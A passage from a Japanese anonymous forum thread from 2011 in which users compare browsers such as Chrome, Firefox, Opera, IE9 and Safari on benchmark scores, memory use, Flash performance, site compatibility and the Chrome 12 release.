Chrome開発者なんかはあれだけパクッておいてOperaを参考にしたことなど一度もないし意識もしていない
とか言ってて吹いたわ

475 :名無しさん@お腹いっぱい。:2011/05/31(火) 08:55:36.64 ID:TCBjlwsZ0
その3大って
IE
Fx
opera?

476 :名無しさん@お腹いっぱい。:2011/05/31(火) 09:05:25.00 ID:kxTdptSL0
http://www.4gamer.net/specials/enchant/bench/

Chrome, Firefox, Safariは同じ程度なのに
Operaだけが10分の一程度の速度しか出ない


477 :名無しさん@お腹いっぱい。:2011/05/31(火) 09:48:36.74 ID:3DLyP8Df0
>>473
IE9 x64 が遅いのはガチ。

478 :名無しさん@お腹いっぱい。:2011/05/31(火) 10:15:22.09 ID:9rviVMMa0
>>476
oqera酷過ぎる・・・

479 :名無しさん@お腹いっぱい。:2011/05/31(火) 10:32:33.55 ID:c91JM7Lo0
Safari進化しないなぁ・・とか思っていたけど、
もう開発終了状態で人的リソースをほぼ全て
Webkit2にまわしてる状況なんだろうな。

この辺の割り切りがなんともw

480 :名無しさん@お腹いっぱい。:2011/05/31(火) 12:51:14.14 ID:IdxjjxAD0
そこがAppleの良いところでもあり、悪いところでもある。
終わったらサクッと捨てるからなあそこ。

481 :名無しさん@お腹いっぱい。:2011/05/31(火) 13:01:25.57 ID:VjjdkxT/0
そしてSafariXとか大げさな名前で降臨するのさ

482 :名無しさん@お腹いっぱい。:2011/05/31(火) 13:58:09.19 ID:iaNetC88P
次は広大な砂漠をイメージしたSaharaか、広大なアフリカをイメージしたAfricaという名前になると思うぉ

483 :名無しさん@お腹いっぱい。:2011/05/31(火) 16:08:33.23 ID:pp+OpgcS0
鳥取砂丘ぐらいでいいよ

484 :名無しさん@お腹いっぱい。:2011/05/31(火) 21:39:37.86 ID:K9+l07ji0
>>483
謙虚さは評価されるんじゃないだろうかw

485 :名無しさん@お腹いっぱい。:2011/05/31(火) 22:19:48.22 ID:W6UAL0jT0
日本一じゃないところがいい

486 :名無しさん@お腹いっぱい。:2011/05/31(火) 22:37:35.91 ID:pp+OpgcS0
鳥取砂丘って日本2位なのね・・・
知らんかった。

487 :名無しさん@お腹いっぱい。:2011/06/01(水) 06:07:54.22 ID:L2N2XqvK0
情強のメインブラウザ
IE6→IE7→Firefox3.0(3未満は使えない)→IE8
→Chrome4.0(4未満は使えない)〜10→IE9

488 :名無しさん@お腹いっぱい。:2011/06/01(水) 07:15:21.62 ID:r8ERSKQUP
Mongol(モンゴル)とかどうかな。
ある意味最強のネーミングだと思う。

Apple市場最高の出来の新ブラウザ「モンゴル」が登場
相撲ファンの支持も得られそうだし

489 :名無しさん@お腹いっぱい。:2011/06/01(水) 10:10:13.70 ID:lBHKyJJ80
>>487
IE7入れちゃってる時点で情強とは言えないような

490 :名無しさん@お腹いっぱい。:2011/06/01(水) 10:34:58.81 ID:r8ERSKQUP
IE7って強制アップデートじゃなかったっけ?

491 :名無しさん@お腹いっぱい。:2011/06/01(水) 12:42:00.32 ID:Hm8/Quyb0
http://twitter.com/#!/kamuu_
oqera厨

492 :名無しさん@お腹いっぱい。:2011/06/01(水) 14:56:25.27 ID:UCH4cjSd0
>>487
IE9 って、ブックマーク同期とか、拡張機能同期とか標準機能で
付いていない時点でオワコンだろ。
何をするにもサードパーティー頼りなブラウザ。

493 :名無しさん@お腹いっぱい。:2011/06/01(水) 15:00:12.06 ID:L2N2XqvK0
>>492
MS謹製のLive Meshは?

494 :名無しさん@お腹いっぱい。:2011/06/01(水) 17:42:08.96 ID:sllgZNRAO
IE9-64bitが使えない今、評価はこうならざるを得ない

クロム>ファイアフォックス≧IE

495 :名無しさん@お腹いっぱい。:2011/06/01(水) 19:22:47.06 ID:lBHKyJJ80
IE10で本気出す(x64)

半永久的に32bitの呪縛から抜け出せないのかもね

496 :名無しさん@お腹いっぱい。:2011/06/01(水) 20:14:45.23 ID:A/6LkiL/0
それ以前に IE10 は Vista非対応じゃなかった?
で、IE11 になったら Win7 非対応とかしだすんじゃないの?

497 :名無しさん@お腹いっぱい。:2011/06/01(水) 20:55:22.42 ID:CyvYtlV30
DirectX的にはVistaSP2でもIE10は動きそうだけど
だいたい3世代分みたいだから切るかもね。

2000 IE5→IE5.5→IE6 (終了)
Me IE5.5→IE6 (終了)
XP IE6→IE7→IE8 (終了)
Vista IE7→IE8→IE9 (終了?)
7 IE8→IE9→IE10 (終了?)

498 :名無しさん@お腹いっぱい。:2011/06/01(水) 22:06:25.11 ID:L2N2XqvK0
どうせならVistaにもIE10を出してIE9以下を切ってほいしところだよな。
Vista Businessの延長サポート終了までIE9をサポートし続けることになる。


499 :名無しさん@お腹いっぱい。:2011/06/01(水) 23:07:24.34 ID:RsMRK2YM0
世代とか関係なくライフサイクルの問題です
Vistaのメインストリームサポートが切れるからIEの新版も対応しない

500 :名無しさん@お腹いっぱい。:2011/06/01(水) 23:31:44.69 ID:L2N2XqvK0
IE10って言っても今度はIE9.1みたいなもんだろ。
今年中に出るんじゃね?


501 :名無しさん@お腹いっぱい。:2011/06/01(水) 23:39:39.76 ID:SCrD7xi50
Vistaのメインストリームサポート中のリリースは避けるだろう。
たぶん来年夏以降にするんじゃないかな。

502 :名無しさん@お腹いっぱい。:2011/06/02(木) 06:24:17.73 ID:ZFVwaoyD0
バージョン番号の意味を軽視するのが最近の流行りだから期間中でもすぐ出るよ。IE10

503 :名無しさん@お腹いっぱい。:2011/06/02(木) 14:46:28.57 ID:mhiz/3zG0
そんななかバージョン番号を無視したWin8がリリース確定

504 :名無しさん@お腹いっぱい。:2011/06/03(金) 01:38:37.53 ID:/vA3YiJD0
plugin containerがCPUをフル稼働するのはFirefox 4.0.1でもお変わりないのね。

505 :名無しさん@お腹いっぱい。:2011/06/03(金) 15:56:19.36 ID:Fab52Glh0
ネスケがバージョン4の時、IEはバージョン1だったけどいきなり4に上がったwwwww

506 :名無しさん@お腹いっぱい。:2011/06/03(金) 16:06:08.27 ID:KTL6Ks7Q0
>>505
嘘はよくないなあ

507 :名無しさん@お腹いっぱい。:2011/06/03(金) 17:33:16.93 ID:85G3UWnA0
IE1.0
IE1.5
IE2.0
IE3.0
IE4.0
IE5.0
IE5.5
IE6.0
IE7.0
IE8.0
IE9.0


508 :名無しさん@お腹いっぱい。:2011/06/03(金) 19:45:13.85 ID:mXVnpNHI0
IEは3.0になるまでほとんど相手にされてなかったからね

509 :名無しさん@お腹いっぱい。:2011/06/03(金) 20:37:09.83 ID:dw/LE2NJ0
おまけに有料だったしね(Plus!に付属)

510 :名無しさん@お腹いっぱい。:2011/06/03(金) 22:00:00.80 ID:zlfDOgLZ0
Opera最強伝説

511 :名無しさん@お腹いっぱい。:2011/06/03(金) 22:22:31.16 ID:iTLgd9CO0
>>510
Operaのよさはあると思うけれど
シェアがトップになると管みたいな存在になりそうな予感。


512 :名無しさん@お腹いっぱい。:2011/06/03(金) 22:41:40.39 ID:cuMhbB4W0
確かな野党のほうが近いだろう

513 :名無しさん@お腹いっぱい。:2011/06/03(金) 23:35:01.38 ID:bA9NknYg0
なるほど。だから旧共産圏でシェアが高いのか。

514 :名無しさん@お腹いっぱい。:2011/06/04(土) 03:45:59.60 ID:f4hWqndp0
Microsoft Plus!とか懐かしすぎんだろ

515 :名無しさん@お腹いっぱい。:2011/06/04(土) 03:47:51.44 ID:vDce6+bC0
赤いしな

516 :名無しさん@お腹いっぱい。:2011/06/04(土) 17:58:14.89 ID:jtm32CKo0
opera信者は中国人みたいだもんな

517 :名無しさん@お腹いっぱい。:2011/06/04(土) 18:54:34.22 ID:MJRUwIau0
operaはWEBサービスとの親和性がもんだいだよなー
operaは好きだけど、そこがネック

518 :名無しさん@お腹いっぱい。:2011/06/04(土) 19:01:01.95 ID:fSlRAFvw0
中国で人気のあるMaxthonは
昔はIE+Gecko、今はIE+WebKit。
Operaが一番遠い所に居るんだがな。
ttp://www.browserchoice.eu/

519 :名無しさん@お腹いっぱい。:2011/06/04(土) 19:25:00.09 ID:PEp9HeV+0
中国人はいやいや共産党の支配に従っているが、
Ope信はまったりと寄せ集まってくる。ぜんぜん違うよ。

520 :名無しさん@お腹いっぱい。:2011/06/04(土) 19:34:59.60 ID:LL+fKpqb0
そもそも中国で愛されているのは IE だろ。
http://gs.statcounter.com/#browser-CN-daily-20100601-20110601

韓国でも愛されてるな。
http://gs.statcounter.com/#browser-KR-daily-20100601-20110601

IE は、イメージカラーを赤に変えたほうがいいんじゃないのか?

521 :名無しさん@お腹いっぱい。:2011/06/04(土) 19:58:03.53 ID:xVbD1hHy0
>>515-516
いやいや「しな」ではシェア高くないでしょ・・・。

Operaは少し軽いところが売りだったと思うけど、そのポジションには
Chromeがあるしな。現時点ではOperaが一番(他社が苦戦している)
Flashと相性いいけど、それ以外のところでたまにおそーーーくなる。


522 :名無しさん@お腹いっぱい。:2011/06/04(土) 20:14:05.86 ID:So+lYYzG0
Chromeは速いけど全く軽くないぞ?
お前Celeron 1.3GHzでメモリ256MBという感じの産廃スペックでChrome動かしたことないだろ

523 :名無しさん@お腹いっぱい。:2011/06/04(土) 20:57:21.25 ID:xVbD1hHy0
>>522
Celeron1.5GHzだから似たようなもんだよ(笑)立ち上がりの軽さは
やっぱり他のブラウザと違う。ただ、タブごとにメモリーを食うので、
使い方によってはメモリーが少ないと遅くなるのは間違いない。

Operaは機嫌がよければ立ち上がりは早いし、メモリーを食わない。
でもキャッシュを時々消さないと立ち上がりは遅いし、たまに気が
狂ったようにメモリーを食って暴走する。


524 :名無しさん@お腹いっぱい。:2011/06/04(土) 22:26:40.37 ID:So+lYYzG0
今はCore i7 930にメモリ6GBだけどな
>>522は前のパソコン

525 :名無しさん@お腹いっぱい。:2011/06/05(日) 03:58:54.57 ID:6BmzkGLz0
>>522
よく言われることだが、
速い→スループットが高い
軽い→応答性が高い

そして、「速い」ことも「軽い」ことも、メモリを使うかどうかとは殆ど関係がない。
(メモリが圧迫されない限り)

ちなみに、Chrome は使っていないメモリを最大限に利用するって言うだけで
実メモリが少なければ、少メモリで動作する。


526 :名無しさん@お腹いっぱい。:2011/06/05(日) 07:17:03.30 ID:VwfFv+r+0
>>525
さすがに256MBのコンピューターだとスワップが発生して遅くなるでしょ・・・。

しかし慣れないとChromeはブックマーク周りが使いにくいな。基本的には
グーグルを使えということなんだろうけど・・・。Operaもブックマーク周りの
使い勝手がよく分からん。

(Firefoxも日本語訳の問題かもしれないが、4になってから分かりにくい
 感じがする)


527 :名無しさん@お腹いっぱい。:2011/06/05(日) 07:24:22.19 ID:JgwbYMwn0
元々は「重い=メモリを喰う」だったんだけどな
メモリが安くなって(大量に積まれることが多くなって)、
この意味で使われることがとんと無くなった

528 :名無しさん@お腹いっぱい。:2011/06/05(日) 07:43:55.14 ID:McsOY1fP0
いや、重いって、動作が鈍いことを言っていたんだが
いつからか、メモリを食うことに対しも使うようになったんだよ

メモリをくうから重いって日本語的に変でしょ

529 :名無しさん@お腹いっぱい。:2011/06/05(日) 07:53:56.26 ID:JgwbYMwn0
いや、だからメモリを喰うことが動作の重さに直結していた時代の話のことでさ
EmacsのことをEight Megabytes And Constantly Swappingなんて言ってみたり

530 :名無しさん@お腹いっぱい。:2011/06/05(日) 08:18:40.33 ID:lgt32NJ00
>>525みたいな定義ははじめて聞いた
誰が最初にそれを定義したんだ?

531 :名無しさん@お腹いっぱい。:2011/06/05(日) 08:49:36.34 ID:HAVr0BW/0
http://clients.futuremark.com/peacekeeper/index.action

Chrome(v12.0.742.68) Scored:3187 Points
Opera(v11.50) Scored:2893 Points
Firefox(v6.0a2) Scored:2007 Points


532 :名無しさん@お腹いっぱい。:2011/06/05(日) 09:15:13.11 ID:HAVr0BW/0
http://krakenbenchmark.mozilla.org/

Firefox(v6.0a2) : 22941.6ms +/- 1.3%
Chrome(v12.0.742.68) : 24087.3ms +/- 2.4%
Opera(v11.50) : 39263.3ms +/- 1.6%


533 :名無しさん@お腹いっぱい。:2011/06/05(日) 09:25:41.66 ID:HAVr0BW/0
http://code.google.com/intl/ja/apis/v8/benchmarks.html

Chrome(v12.0.742.68) Score: 2545
Firefox(v6.0a2) Score: 1427
Opera(v11.50) Score: 1265

テストによってバラつくなぁ

534 :名無しさん@お腹いっぱい。:2011/06/05(日) 09:30:14.35 ID:c8pvCCho0
>>525
メモリを使うことは速いこととも軽いこととも関係がない。
そうであるならばChromeはメモリを最大限に何に利用するのだろうか。

535 :名無しさん@お腹いっぱい。:2011/06/05(日) 09:58:59.68 ID:aSe8s+no0
>>518-521
opera信者必死すぎ

536 :名無しさん@お腹いっぱい。:2011/06/05(日) 10:27:19.37 ID:VwfFv+r+0
>>535

>>519以外は全く逆じゃないか?


537 :名無しさん@お腹いっぱい。:2011/06/05(日) 11:33:13.84 ID:LCmYDfqp0
OperaがFlashと相性がいい?
またまたご冗談を


538 :名無しさん@お腹いっぱい。:2011/06/05(日) 11:33:52.82 ID:jzJjSGrI0
opera好きなんだが、そんぽ24オンライン契約ページでボタンが出ないバグがあったぞ
泣く泣くIEでやり直し

539 :名無しさん@お腹いっぱい。:2011/06/05(日) 11:56:06.49 ID:VwfFv+r+0
>>537
相性いいよ。Firefoxだと頻繁にChromeだとたまにFlashのせいでCPU使用率が
100%になってしばらく戻らなくなるけど、Operaはそれがない。

すっかりOperaは動画専用ブラウザになっちゃってる。Youtubeもちょっと古めの
Operaにも対応してるみたいだし、その辺は一般的なのでは。


540 :名無しさん@お腹いっぱい。:2011/06/05(日) 12:24:10.24 ID:FX+9kR/Z0
だな。俺もoperaは動画専用になってるわ

541 :名無しさん@お腹いっぱい。:2011/06/05(日) 12:35:00.35 ID:qYubuyUs0
>>540
あれ、俺がいる

542 :名無しさん@お腹いっぱい。:2011/06/05(日) 12:37:18.20 ID:VwfFv+r+0
>>538 >>540
銀行とか証券のサイトとか、職場のウェブのデータベースだとやっぱりIEじゃないと
安定して動かない場面が出てくるな。Operaはよく出来てはいるが微妙なところで
問題が出るのでやっぱり動画専用から格上げできてない。

普通にウェブを見るだけならFirefoxの使い勝手は便利だし、ちょっと天気予報を
みたいだけとかなら素早く立ち上がるChromeも便利だ。結局、家のパソコンには
4種類入ったままになってる・・・。職場はIEとFirefoxのみにしてる。


543 :名無しさん@お腹いっぱい。:2011/06/05(日) 13:43:07.97 ID:DYNezNCO0
IEは未だにIEのみ推奨のページを見るのに外せない

とは言え、IE9のモードでは正しく表示できない事が多いので、
互換モードに切り替えなきゃならないわけだが

Firefoxは7入れてるから、UAで弾かれる事があるのが残念(Yahooトップなど)

544 :名無しさん@お腹いっぱい。:2011/06/05(日) 15:11:50.07 ID:Ulb8Ej1c0
自分の環境がそうだからって他の人にもイメージを押し付けないで欲しいのです

545 :名無しさん@お腹いっぱい。:2011/06/05(日) 17:23:03.61 ID:r3pt0mLq0
>>542
それはサイトの出来が悪い
まぁ現状IEとWebKit(Safari・Chrome)だけ確認すりゃいいやみたいな業者も多い
その意味でFxとOperaはオワコン

546 :名無しさん@お腹いっぱい。:2011/06/05(日) 17:26:31.54 ID:FX+9kR/Z0
サイトの出来が悪いのはわかってるよ
相手にされないんだから、ばつのブラウザ使わざるをえない

547 :名無しさん@お腹いっぱい。:2011/06/05(日) 17:34:06.47 ID:EgHQRbzc0
Webkitで出来る事は結局IEでも出来るからWebkitのブラウザ消しちまったなあ
細かい利便性と速度のバランス探っていったら
Presto・Webkitが正常表示出来るサイトは普通に表示出来るGeckoと事実上標準のIEだけになった

548 :名無しさん@お腹いっぱい。:2011/06/05(日) 18:38:12.92 ID:r5w3HghnP
Chrome動作確認してるサイトあんまないような

549 :名無しさん@お腹いっぱい。:2011/06/05(日) 19:10:35.33 ID:r3pt0mLq0
ChromeはSafariと同じWebKitだからHTMLやCSSのレンダリングは
Safariとほぼ変わらんよ(JavaScriptエンジンが違う)。
つまりSafariかChromeで動作確認すれば
MacOSXもiOS(iPod/iPad/iPhone)も
ChromeOSもAndroidもまぁ大丈夫だろうって話になる
(JS除く。っつってもレンダリングの見た目は変わらんし、どうせjQueryばっか)。

だから昔はIEとFx(Gecko)で動作確認だったのが
今はIEとWebKitになっちゃてる。

550 :名無しさん@お腹いっぱい。:2011/06/05(日) 19:19:49.81 ID:VwfFv+r+0
>>549
そうそう、マカーのクレームがあるからかSafariも動作対象に入ってることが多い。
Firefoxはいつまでも取り残される・・・。

IEはウィルスの問題があるとか難癖をつけて、(関西弁で言うところの)いちびって
Firefoxのみ対応の、webアプリケーションを作る人がいるが、そういうのはいつの
間にかそのサイト自身がobsoleteになってたりする・・・。


551 :名無しさん@お腹いっぱい。:2011/06/05(日) 19:47:07.96 ID:SXYgRLCp0
Firefoxはアフィ乞食にブロックされたりするしねぇ

552 :名無しさん@お腹いっぱい。:2011/06/05(日) 19:59:04.69 ID:DYNezNCO0
>>551
Adblock率が高いからだろうね

553 :名無しさん@お腹いっぱい。:2011/06/05(日) 22:44:51.51 ID:C/qDHaaR0
>>533
futuremark のテストが一番いいよ。
kraken と v8 は javascript のベンチ

futuremark は、レンダリング機能、
GPU支援機能、JavaSctiptの性能、
等を総合的に判断して結果だしてる。

しかもブラウザ開発元と第三者の立場にいることも重要。

554 :名無しさん@お腹いっぱい。:2011/06/06(月) 09:43:52.38 ID:UYxPSIiP0
>>545 >>549-550
※ただしIEとWebkitだけで動作確認してる業者が手がけたサイトの具体例はない
の一文が抜けてるぞwそんな長文書く暇あったら提示しろよ
それとお前らの話題にすら出てきてないOperaとは一体・・・

555 :名無しさん@お腹いっぱい。:2011/06/06(月) 10:01:18.57 ID:ra1yNDg00
今は IE6, IE8, IE9, Fx3.6, Fx4.0, Chrome 最新版, Safari4, Safari5
で確認とってるだろ。IE6 はもう見捨てる人が多いだろうけど。
(MSも見捨てているから)

556 :名無しさん@お腹いっぱい。:2011/06/06(月) 10:24:04.84 ID:tfUm7p820
第三者と言ってもスポンサーによってどうにでもなるし

557 :名無しさん@お腹いっぱい。:2011/06/06(月) 10:34:22.49 ID:P9NpYBlY0
IE Windows標準
Safari OSX/iOS標準
Chrome ChromeOS/Android標準
Fx えーと…UNIX方面に多い? WebKitに浸食されつつあり
Opera えーと…モバイルに多い? WebKitに浸食されつつあり

結局さ、
「WindowsのFirefoxで見れません><」「IEあるでしょ、それで見てください」
「OSXのFirefoxで見れません><」「Safariあるでしょ、それで見てください」
となるんだよね。
FxやOperaが多い分野はそもそも標準と言えるプラットフォームが無いので
サポートもへったくれもないんだよね。
「Ubuntu11.04のFx4で動作確認しました」
「Nokia E7のOperaMobile11で動作確認しました」
とか書いてもニッチ過ぎて誰得だし。

558 :名無しさん@お腹いっぱい。:2011/06/06(月) 10:51:24.69 ID:ra1yNDg00
>>556
futuremark はそこあたりも出来るだけ気を付けてるよ。
ベンチマークで稼いでいる会社だから、すぐ批判がいく。

3D Mark は有名でしょ。

559 :名無しさん@お腹いっぱい。:2011/06/06(月) 11:50:42.86 ID:P9NpYBlY0
いろいろ批判が出ている3DMarkを引き合いに出すと
ますます信頼できなくなるんだが

560 :名無しさん@お腹いっぱい。:2011/06/06(月) 11:55:39.27 ID:44AhhSXt0
>>557
ぐえぇやっぱりそういうのあんのかなー。
AdobeのサイトでIDを発行しようとしたらIEでアクセスしたときしか
メールが送信されず手続きができなかったでござる。

561 :名無しさん@お腹いっぱい。:2011/06/06(月) 14:33:38.13 ID:LCRQs/uu0
>>557
Fxは、デフォルトで入ってるLinuxディストリが多い
確かにGNOME標準やKDE標準のブラウザはWebkit系だったりするんだが
実際のところそれらは「Firefoxじゃダメな理由」がないとあまり使われず、ほぼLinux界のデファクト

その上WindowsやOSXでもそこそこのシェアがあるので、総合的には結構なシェアになる


Operaは…えーと

562 :名無しさん@お腹いっぱい。:2011/06/06(月) 15:13:56.76 ID:ZV3ga2UX0
電子申請とかFirefoxはおろかいまだにIE9にも対応してないという。

563 :名無しさん@お腹いっぱい。:2011/06/06(月) 16:03:52.76 ID:hL11oiUq0
そいやIE9はIEを使う唯一の理由 IEじゃないと表示できないから
すら満足にこなしてくれなかったから8に戻したな

564 :名無しさん@お腹いっぱい。:2011/06/06(月) 17:41:39.82 ID:rIzzvhhe0
>>545
webkitってのがどうかなあ、と思うが
狐で動くかを普通はまず確認するだろ、そんな事をするくらいなら

565 :名無しさん@お腹いっぱい。:2011/06/06(月) 19:32:14.72 ID:xJbLq47rP
IEしか対応してないとこってIE9対応してなくね

566 :名無しさん@お腹いっぱい。:2011/06/06(月) 19:37:56.85 ID:P9NpYBlY0
まぁそういう所は基準がIE6だな、ツギハギでIE8までなんとかみたいな

567 :名無しさん@お腹いっぱい。:2011/06/06(月) 19:47:27.20 ID:gx6cHNr30
>>557
LinuxやSolaris系の標準ブラウザはFirefoxだな

568 :名無しさん@お腹いっぱい。:2011/06/06(月) 19:55:54.77 ID:KqYao8fP0
>>566
IE6はOSに例えればWindows2000だからな。

569 :名無しさん@お腹いっぱい。:2011/06/06(月) 20:40:17.67 ID:Jvqva2+50
つかFirefoxは特段対応させなくても
Firefoxの開発者どもが強引に対応させたりするから心配いらんという面があるから
ほっといても良かったりする

570 :名無しさん@お腹いっぱい。:2011/06/06(月) 20:45:51.29 ID:YRQez54q0
html5対応してないブラウザは死んで欲しいな

571 :名無しさん@お腹いっぱい。:2011/06/06(月) 21:17:05.07 ID:UFhz787t0
>>554
いやいや、うちの職場の、とあるWEBデータベースは
公式対応はIEとサファリだけだぞ。

>>557さんが言うように対応うんうん以前に
調べてないんだが。

>>561
そりゃ、Linuxの標準ブラウザはFirefoxというのは間違いないが
Linux自身が標準とはあまりにも遠い。

>>569
3.6で重くなってやや暴走気味。


572 :名無しさん@お腹いっぱい。:2011/06/06(月) 23:00:33.38 ID:bq9Bz78V0
クロスプラットフォームでリアルタイム開発中なFirefoxこそ
標準になるべきなんだがな

573 :名無しさん@お腹いっぱい。:2011/06/06(月) 23:20:13.90 ID:AkQl7RSm0
そこでOperaですよ

574 :名無しさん@お腹いっぱい。:2011/06/07(火) 11:56:09.55 ID:jMyxyqkt0
Original画質にしても、IEもFirefoxもCPU使用率は最高45%と全く同じだな。
ブラウザで変わりはないものなのか
http://www.youtube.com/watch?v=6_QI1AXVV2M&fmt=38

575 :名無しさん@お腹いっぱい。:2011/06/07(火) 13:37:25.22 ID:PZEVhMG40
40%もいかねぇよw

576 :名無しさん@お腹いっぱい。:2011/06/08(水) 19:58:36.35 ID:EDurLeqM0
>>574
Original画質試してみたが、Opera+Core i5 760+GT 240で最高70%まで上がった。

577 :576:2011/06/08(水) 20:02:37.71 ID:EDurLeqM0
ブラウザをFirefox3.6に替えたら67%、IE8ではOperaと同じく70%。
ブラウザの違いなのか、グラボかCPUがしょぼいのか・・・

578 :名無しさん@お腹いっぱい。:2011/06/08(水) 20:14:45.24 ID:kqaZ4spY0
再生支援が効いてないからCPUがあがるんだろ
i3-530 HD5570 Win7x64
Firefox4.0.1もIE9もChromeも15%ぐらいしかいかないわ

579 :名無しさん@お腹いっぱい。:2011/06/08(水) 20:17:18.26 ID:7OTjDNyN0
僕のPenIII + 830Mだと100%張り付き余裕でした

580 :名無しさん@お腹いっぱい。:2011/06/08(水) 20:51:28.73 ID:fgaaTuzg0
>>577
Firefox3.6はひどかったからな。4に変えればいいのに。


581 :名無しさん@お腹いっぱい。:2011/06/08(水) 21:18:00.50 ID:RPKoc/L20
>>579
OSハングするだろ

582 :名無しさん@お腹いっぱい。:2011/06/08(水) 22:28:39.04 ID:9slGB5pD0
4kx2kとか最新のCPUとグラボじゃないと殆ど再生できないだろ

583 :名無しさん@お腹いっぱい。:2011/06/09(木) 10:35:00.46 ID:wg6Nglik0
Firefox 5.0 beta にしてみた
わりと快適です

584 :名無しさん@お腹いっぱい。:2011/06/09(木) 13:53:35.99 ID:/ynVpBss0
Google Chrome12がでたのにお前らがさわがないなんて・・・・


Google enhances Safe Browsing protection in Chrome 
http://www.net-security.org/secworld.php?id=11137

「Google Chrome 12」正式安定版リリース、DLファイルの危険性を事前警告 
http://internet.watch.impress.co.jp/docs/news/20110608_451349.html

Google Chromeの安定版が「Chrome 12」に Google Gearsは終了 2011年06月08日 07時37分 更新
http://www.itmedia.co.jp/news/articles/1106/08/news021.html

>セキュリティ関係では合計14件の脆弱性に対処した。
プライバシー強化も図られ、「Flash cookie」と呼ばれるローカルストレージをChromeの画面から直接削除できるようになった。
Adobe SystemsのFlash Playerではユーザーが閲覧したWebサイトの情報が「ローカル共有オブジェクト」として記録され、
これまでは削除が難しかったが、Adobeが5月にリリースしたFlash Playerの更新版でこの問題に対応。
これがGoogle Chromeにも反映された。
また、「Safe Browsing」機能により、マルウェアの可能性のあるファイルをダウンロードしようとすると警告するようになった。
・3D CSSのハードウェアアクセラレーション対応:3D CSSを利用しているWebサイトで画像を高速に再生できる(Windows VistaおよびMac OS X 10.6以降に対応)
・Google2 件 Gearsのサポート終了:Gearsの開発はHTML5への移行を目的に既に終了していたが、これで実質的に廃止となる
・Omnibox(検索・アドレスバー)からのWebアプリ起動が可能に
・複数端末での同期機能の設定が「個人設定」ページに統合された
・Mac版で、[コマンド]+[Q]で終了しようとすると警告するようになった
・スクリーンリーダー(画面読み上げ機能)の強化
Googleは、3D CSSのハードウェアアクセラレーション機能を試せるサンプルを、Chrome Experimentに用意している。

585 :名無しさん@お腹いっぱい。:2011/06/09(木) 14:27:38.56 ID:3BIb55ob0
6週間ごとにバージョンアップすることがわかっているのにいちいち騒いでられないさ。
Firefoxもあと一年くらい経てば同じような空気になっていると思うぞ。

586 :名無しさん@お腹いっぱい。:2011/06/09(木) 14:55:35.40 ID:W8L7hV020
騒がれてるだろ、本スレでは
毎回の事だがまた拡張と衝突とか、仕様の違いによる不具合とか
こういう状態の時はChrome信者もおとなしくていいけどなw

587 :名無しさん@お腹いっぱい。:2011/06/09(木) 15:30:16.19 ID:z7JNQ4OD0
>Google Gearsは終了
さりげなく書いてあるが
これひでーな

588 :名無しさん@お腹いっぱい。:2011/06/09(木) 15:39:25.03 ID:uD//BEdb0
とっくに終了してなかったっけ?

589 :名無しさん@お腹いっぱい。:2011/06/09(木) 16:01:47.44 ID:DteUIscg0
Googleのやる事に一々付き合う奴の方がアホだろ

590 :名無しさん@お腹いっぱい。:2011/06/09(木) 16:08:52.58 ID:z7JNQ4OD0
いずれはChromeも突然終了と
理由「飽きたから」とか

591 :名無しさん@お腹いっぱい。:2011/06/09(木) 17:44:47.40 ID:C0or2bvo0
firefox拡張のgoogleツールバーの話題がひどい
googleが飽きて放置しているツールバーの不具合がどうとか
使えなくする処置をとらずいつまでも使えるから 検索しないとアフターケアしないですというのが分からない
それで情弱が略

592 :名無しさん@お腹いっぱい。:2011/06/09(木) 20:26:26.53 ID:UdrX4+uI0
>584
そこに入っていないけど、「タブの複数選択機能」がとても便利なんだぜ。
というか、もともと速いので、3D CSS とか、
V8 がバージョンアップしたとか、実はどうでも良かったり。

593 :名無しさん@お腹いっぱい。:2011/06/09(木) 21:06:19.03 ID:qHjZRROE0
Chromeはダブルクリックでの単語選択がやや精度が悪いように思う
Operaとかよりはマシだけど、なんだかんだでFirefoxの挙動がブラウザの中で一番マシ

カタカナの横文字だと特に選択できないことが多い
なんかややこしげな単語は選択できるけどメールとかグループが単語として選択できないとか

他はシンプルなブラウザとして一通り機能をそろえてるし良い感じだと思うけど

594 : 忍法帖【Lv=6,xxxP】 :2011/06/09(木) 21:07:11.72 ID:mpeo83l00
ギター鳴らしてる暇あったらどうにかしろよと

595 :名無しさん@お腹いっぱい。:2011/06/09(木) 21:17:09.40 ID:3BcWkqWO0
>>593
FirefoxとIEはアルファベット、ひらがな、カタカナ、漢字を分けて選択するだけで
あんまり賢いとも思わないけど・・・。

しかしFirefoxは単独ではいいけれどAdobeが関わるとひどいなSVGまで相性が
悪いとは思わなかった。

Operaはブックマーク周りがいまいちだし、Chromeはさすがにメインで使えるとは
思えない。結局IEが無難か?使い勝手は悪くないのでFirefoxでとりあえず我慢
しようとおもうけれどいい加減愛想がつきそう。


596 :名無しさん@お腹いっぱい。:2011/06/09(木) 21:40:45.50 ID:qHjZRROE0
>>595
実際それでもそこまで問題を感じないからその挙動でいいような 中途半端な対応よりはマシ
でもIEだと漢字が一字一字選択という面倒な仕様が気になった

ってかFirefoxのSVGはネイティブ実装じゃなかったっけ
相性は普段SVGなんて見る機会ないからイマイチ分からないわ
http://jsdo.it/event/svggirl
これとか開いてみたけどそこまで動作に問題感じない

597 :名無しさん@お腹いっぱい。:2011/06/09(木) 21:46:20.22 ID:3BcWkqWO0
>>596
おっしゃるとおり、SVGに関してはFirefoxは自分自身で読んでるみたいだね。
Wikipediaの場合は化学構造式がSVGで書いてある場合があるんだけれど、
Firefoxは出来が悪くて他のソフトにコピーペーストが出来ないんだよね。

WikipediaはIE6と相性を悪く作ってみたりして(異常に遅い)、Firefoxの方を
応援してるのかと思ったけど、さすがにSVG周りに関してはFirefoxの出来が
悪すぎるてどうしようもない感じだな。


598 :名無しさん@お腹いっぱい。:2011/06/12(日) 00:44:27.40 ID:kCnMzwnd0
WebKit2きた
Safari 5.1 のデベロッパーズプレビューがWebKit2になってるらしい

599 :名無しさん@お腹いっぱい。:2011/06/12(日) 03:43:18.50 ID:vXFjcReJP
で、結局どれがいいの??


600 :名無しさん@お腹いっぱい。:2011/06/12(日) 03:56:43.24 ID:64GEXCET0
どれもいいものだから、どれでもいい。

601 :名無しさん@お腹いっぱい。:2011/06/12(日) 04:31:16.53 ID:vXFjcReJP
じゃぁIE9でも使うか。未対応のページは嫌だが。。

602 :名無しさん@お腹いっぱい。:2011/06/12(日) 04:36:27.61 ID:GgguxcZu0
>>600
みつを?

しかし、Operaは(ディスク)キャッシュ周りの暴走はなんとかならんのか。
ディスクキャッシュに無効という設定があったり、メモリキャッシュの設定が
あったりするので、中の人も分かってはいるんだろうが。


